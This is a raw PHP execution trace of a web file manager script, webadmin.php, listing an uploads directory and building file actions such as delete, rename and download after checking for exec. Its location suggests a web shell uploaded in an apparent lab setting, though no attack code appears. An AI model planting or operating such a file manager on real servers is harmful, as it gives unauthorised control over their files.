4 302 0 0.015520 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 302 1 0.015594 802352
4 302 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 303 0 0.015634 802320 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 303 1 0.015671 802648
4 303 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 304 0 0.015698 802264 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 304 1 0.015729 802592
4 304 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 305 0 0.015755 802288 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 305 1 0.015786 802616
4 305 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 306 0 0.015812 802512 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 307 0 0.015827 802512 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 307 1 0.015845 802816
5 307 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 306 1 0.015860 802704
4 306 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 308 0 0.015878 802376 urlencode 0 /var/www/html/uploads/webadmin.php 1281 1 '/var/www/html/uploads/data'
4 308 1 0.015892 802472
4 308 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4 309 0 0.015908 802416 html 1 /var/www/html/uploads/webadmin.php 1281 1 'data'
5 310 0 0.015921 802416 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'data' 2 NULL
5 310 1 0.015935 802688
5 310 R 'data'
4 309 1 0.015949 802576
4 309 R 'data'
4 311 0 0.015963 802320 human_filesize 1 /var/www/html/uploads/webadmin.php 1304 1 4096
4 A /var/www/html/uploads/webadmin.php 1153 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/webadmin.php 1155 $n = 0
4 A /var/www/html/uploads/webadmin.php 1157 $filesize /= 1024
4 A /var/www/html/uploads/webadmin.php 1158 $n++
5 312 0 0.016019 802320 strpos 0 /var/www/html/uploads/webadmin.php 1161 2 4 '.'
5 312 1 0.016032 802392
5 312 R FALSE
5 313 0 0.016046 802320 round 0 /var/www/html/uploads/webadmin.php 1161 2 4 3
5 313 1 0.016059 802392
5 313 R 4
4 A /var/www/html/uploads/webadmin.php 1161 $filesize = 4
5 314 0 0.016082 802320 strpos 0 /var/www/html/uploads/webadmin.php 1163 2 4 '.'
5 314 1 0.016096 802648
5 314 R FALSE
5 315 0 0.016109 802320 substr 0 /var/www/html/uploads/webadmin.php 1169 3 'kMGTPE' 0 1
5 315 1 0.016123 802416
5 315 R 'k'
4 A /var/www/html/uploads/webadmin.php 1169 $suffix = 'k'
4 311 1 0.016148 802352
4 311 R '4 kB'
3 A /var/www/html/uploads/webadmin.php 1304 $human = ' title="4 kB"'
4 316 0 0.016174 802320 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 16895
4 316 1 0.016187 802392
4 316 R '40777'
4 317 0 0.016201 802320 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 317 1 0.016218 802360
4 317 R TRUE
4 318 0 0.016232 802320 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 318 1 0.016245 802320
4 318 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 319 0 0.016268 802320 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 16895
4 A /var/www/html/uploads/webadmin.php 970 $type = 'd'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= 'x'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= 'w'
4 A /var/www/html/uploads/webadmin.php 992 $group .= 'x'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= 'w'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= 'x'
4 319 1 0.016384 802360
4 319 R 'drwxrwxrwx'
4 320 0 0.016398 802360 html 1 /var/www/html/uploads/webadmin.php 1319 1 'drwxrwxrwx'
5 321 0 0.016412 802360 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'drwxrwxrwx' 2 NULL
5 321 1 0.016427 802632
5 321 R 'drwxrwxrwx'
4 320 1 0.016441 802520
4 320 R 'drwxrwxrwx'
4 322 0 0.016456 802320 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 322 1 0.016485 802384
4 322 R TRUE
4 323 0 0.016499 802320 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 323 1 0.016527 802384
4 323 R TRUE
4 324 0 0.016541 802416 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/data'
5 325 0 0.016555 802416 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/data' 2 NULL
5 325 1 0.016570 802688
5 325 R '/var/www/html/uploads/data'
4 324 1 0.016585 802576
4 324 R '/var/www/html/uploads/data'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 326 0 0.016611 801944 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 326 1 0.016624 801984
4 326 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 327 0 0.016649 802320 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/data'
4 327 1 0.016662 802408
4 327 R '/var/www/html/uploads'
4 328 0 0.016676 802376 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 328 1 0.016694 802416
4 328 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
4 329 0 0.016739 802320 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 329 1 0.016752 802360
4 329 R TRUE
4 330 0 0.016766 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 330 1 0.016783 802352
4 330 R 4
4 331 0 0.016796 802416 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 331 1 0.016810 802704
4 331 R ' '
4 332 0 0.016826 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 333 0 0.016839 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 333 1 0.016855 802656
5 333 R 'create symlink'
4 332 1 0.016869 802544
4 332 R 'create symlink'
4 334 0 0.016884 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 335 0 0.016897 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 335 1 0.016915 802648
5 335 R 'delete'
4 334 1 0.016929 802536
4 334 R 'delete'
4 336 0 0.016943 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 337 0 0.016956 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 337 1 0.016969 802648
5 337 R 'rename'
4 336 1 0.016983 802536
4 336 R 'rename'
4 338 0 0.016996 802368 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 339 0 0.017009 802368 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 339 1 0.017023 802640
5 339 R 'move'
4 338 1 0.017036 802528
4 338 R 'move'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
4 340 0 0.017060 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 340 1 0.017131 802352
4 340 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 341 0 0.017172 802320 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 341 1 0.017204 802648
4 341 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 342 0 0.017231 802264 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 342 1 0.017261 802592
4 342 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 343 0 0.017288 802288 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 343 1 0.017318 802616
4 343 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 344 0 0.017345 802512 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 345 0 0.017359 802512 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 345 1 0.017376 802816
5 345 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 344 1 0.017392 802704
4 344 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 346 0 0.017552 802320 substr 0 /var/www/html/uploads/webadmin.php 1289 3 '.htaccess' 0 1
4 346 1 0.017569 802416
4 346 R '.'
4 347 0 0.017584 802400 urlencode 0 /var/www/html/uploads/webadmin.php 1296 1 '/var/www/html/uploads/.htaccess'
4 347 1 0.017598 802512
4 347 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4 348 0 0.017615 802432 html 1 /var/www/html/uploads/webadmin.php 1296 1 '.htaccess'
5 349 0 0.017628 802432 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '.htaccess' 2 NULL
5 349 1 0.017642 802704
5 349 R '.htaccess'
4 348 1 0.017656 802592
4 348 R '.htaccess'
3 A /var/www/html/uploads/webadmin.php 1306 $human = ''
4 350 0 0.017683 802280 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 33188
4 350 1 0.017696 802352
4 350 R '100644'
4 351 0 0.017709 802280 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 351 1 0.017723 802320
4 351 R TRUE
4 352 0 0.017736 802280 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 352 1 0.017749 802280
4 352 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 353 0 0.017772 802280 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 33188
4 A /var/www/html/uploads/webadmin.php 966 $type = '-'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= '-'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= '-'
4 A /var/www/html/uploads/webadmin.php 992 $group .= '-'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= '-'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= '-'
4 353 1 0.017893 802320
4 353 R '-rw-r--r--'
4 354 0 0.017907 802320 html 1 /var/www/html/uploads/webadmin.php 1319 1 '-rw-r--r--'
5 355 0 0.017920 802320 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '-rw-r--r--' 2 NULL
5 355 1 0.017935 802592
5 355 R '-rw-r--r--'
4 354 1 0.017949 802480
4 354 R '-rw-r--r--'
4 356 0 0.017963 802280 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 356 1 0.017993 802344
4 356 R TRUE
4 357 0 0.018007 802280 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 357 1 0.018035 802344
4 357 R TRUE
4 358 0 0.018049 802376 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/.htaccess'
5 359 0 0.018063 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/.htaccess' 2 NULL
5 359 1 0.018079 802648
5 359 R '/var/www/html/uploads/.htaccess'
4 358 1 0.018094 802536
4 358 R '/var/www/html/uploads/.htaccess'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 360 0 0.018120 801904 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 360 1 0.018134 801944
4 360 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 361 0 0.018158 802280 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/.htaccess'
4 361 1 0.018172 802368
4 361 R '/var/www/html/uploads'
4 362 0 0.018186 802336 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 362 1 0.018211 802376
4 362 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
3 A /var/www/html/uploads/webadmin.php 1352 $actions[] = 'copy'
3 A /var/www/html/uploads/webadmin.php 1353 $actions[] = 'download'
4 363 0 0.018279 802280 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 363 1 0.018292 802320
4 363 R TRUE
4 364 0 0.018305 802280 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 364 1 0.018324 802312
4 364 R 6
4 365 0 0.018337 802376 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 365 1 0.018350 802664
4 365 R ' '
4 366 0 0.018366 802344 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 367 0 0.018380 802344 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 367 1 0.018396 802616
5 367 R 'create symlink'
4 366 1 0.018411 802504
4 366 R 'create symlink'
4 368 0 0.018425 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 369 0 0.018438 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 369 1 0.018452 802608
5 369 R 'delete'
4 368 1 0.018466 802496
4 368 R 'delete'
4 370 0 0.018480 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 371 0 0.018493 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 371 1 0.018507 802608
5 371 R 'rename'
4 370 1 0.018521 802496
4 370 R 'rename'
4 372 0 0.018534 802328 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 373 0 0.018552 802328 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 373 1 0.018566 802600
5 373 R 'move'
4 372 1 0.018580 802488
4 372 R 'move'
4 374 0 0.018594 802328 word 1 /var/www/html/uploads/webadmin.php 1367 1 'copy'
5 375 0 0.018607 802328 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'copy' 2 'UTF-8'
5 375 1 0.018624 802600
5 375 R 'copy'
4 374 1 0.018638 802488
4 374 R 'copy'
4 376 0 0.018699 802336 word 1 /var/www/html/uploads/webadmin.php 1367 1 'download'
5 377 0 0.018717 802336 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'download' 2 'UTF-8'
5 377 1 0.018732 802608
5 377 R 'download'
4 376 1 0.018746 802496
4 376 R 'download'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
4 378 0 0.018770 802280 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 378 1 0.018842 802312
4 378 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 379 0 0.018883 802280 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 379 1 0.018915 802608
4 379 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 380 0 0.018943 802224 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 380 1 0.018974 802552
4 380 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 381 0 0.019001 802248 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 381 1 0.019031 802576
4 381 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 382 0 0.019057 802472 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 383 0 0.019072 802472 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 383 1 0.019090 802776
5 383 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 382 1 0.019106 802664
4 382 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 384 0 0.019122 802280 substr 0 /var/www/html/uploads/webadmin.php 1289 3 'prepend.php' 0 1
4 384 1 0.019136 802376
4 384 R 'p'
4 385 0 0.019151 802360 urlencode 0 /var/www/html/uploads/webadmin.php 1296 1 '/var/www/html/uploads/prepend.php'
4 385 1 0.019165 802472
4 385 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4 386 0 0.019182 802408 html 1 /var/www/html/uploads/webadmin.php 1296 1 'prepend.php'
5 387 0 0.019195 802408 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'prepend.php' 2 NULL
5 387 1 0.019209 802680
5 387 R 'prepend.php'
4 386 1 0.019223 802568
4 386 R 'prepend.php'
3 A /var/www/html/uploads/webadmin.php 1306 $human = ''
4 388 0 0.019249 802280 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 33261
4 388 1 0.019261 802352
4 388 R '100755'
